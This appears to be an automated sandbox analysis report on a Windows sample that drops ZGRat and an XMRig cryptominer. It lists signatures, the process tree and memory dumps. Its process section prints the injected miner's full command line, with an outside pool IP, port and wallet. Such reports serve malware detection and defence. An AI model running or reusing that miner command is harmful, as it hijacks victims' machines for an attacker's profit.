Analysis
- max time kernel
146s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
25/04/2024, 05:42
General
- Target Fzonsvup.exe
- Size 633KB
- Sample240425-gd99eagc8w
- SHA256 a5b0d190fc09cd5c1ea07fa6b12a7dd4ab5f517c778fb60e4e14060e00ddecc8
Malware Config
Signatures
- Detect ZGRat V1 1 IoCs
- ZGRat
ZGRat is remote access trojan written in C#.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 11 IoCs
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Fzonsvup.exe"C:\Users\Admin\AppData\Local\Temp\Fzonsvup.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\IsFixedSize\Target.exeC:\Users\Admin\AppData\Roaming\IsFixedSize\Target.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:35662 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=502⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3792 --field-trial-handle=2356,i,13261194862334667799,7441241219475888176,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
Target.exe
memory/892-19-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/892-27-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/892-36-0x000001BBDC600000-0x000001BBDC620000-memory.dmp
memory/892-35-0x000001BBDC600000-0x000001BBDC620000-memory.dmp
memory/892-34-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/892-33-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/892-32-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/892-29-0x000001BBDC5E0000-0x000001BBDC600000-memory.dmp
memory/892-20-0x000001BBDABE0000-0x000001BBDAC00000-memory.dmp
memory/892-26-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/892-25-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/892-24-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/892-17-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/892-18-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/892-23-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/892-22-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/4596-2-0x00007FFFA5280000-0x00007FFFA5D41000-memory.dmp
memory/4596-0-0x0000022ECB570000-0x0000022ECB612000-memory.dmp
memory/4596-3-0x0000022ECB9D0000-0x0000022ECB9E0000-memory.dmp
memory/4596-1-0x0000022EE5A80000-0x0000022EE5B84000-memory.dmp
memory/4596-5-0x0000022ECBA80000-0x0000022ECBACC000-memory.dmp
memory/4596-4-0x0000022EE5B80000-0x0000022EE5BD6000-memory.dmp
memory/4596-6-0x0000022EE6590000-0x0000022EE65E4000-memory.dmp
memory/4596-10-0x00007FFFA5280000-0x00007FFFA5D41000-memory.dmp
memory/5084-15-0x0000016D27940000-0x0000016D27950000-memory.dmp
memory/5084-28-0x0000016D27940000-0x0000016D27950000-memory.dmp
memory/5084-31-0x0000016D27940000-0x0000016D27950000-memory.dmp
memory/5084-13-0x00007FFFA4D50000-0x00007FFFA5811000-memory.dmp
memory/5084-21-0x00007FFFA4D50000-0x00007FFFA5811000-memory.dmp
memory/5084-14-0x0000016D27940000-0x0000016D27950000-memory.dmp
memory/5084-30-0x0000016D27940000-0x0000016D27950000-memory.dmp
memory/5084-16-0x0000016D27940000-0x0000016D27950000-memory.dmp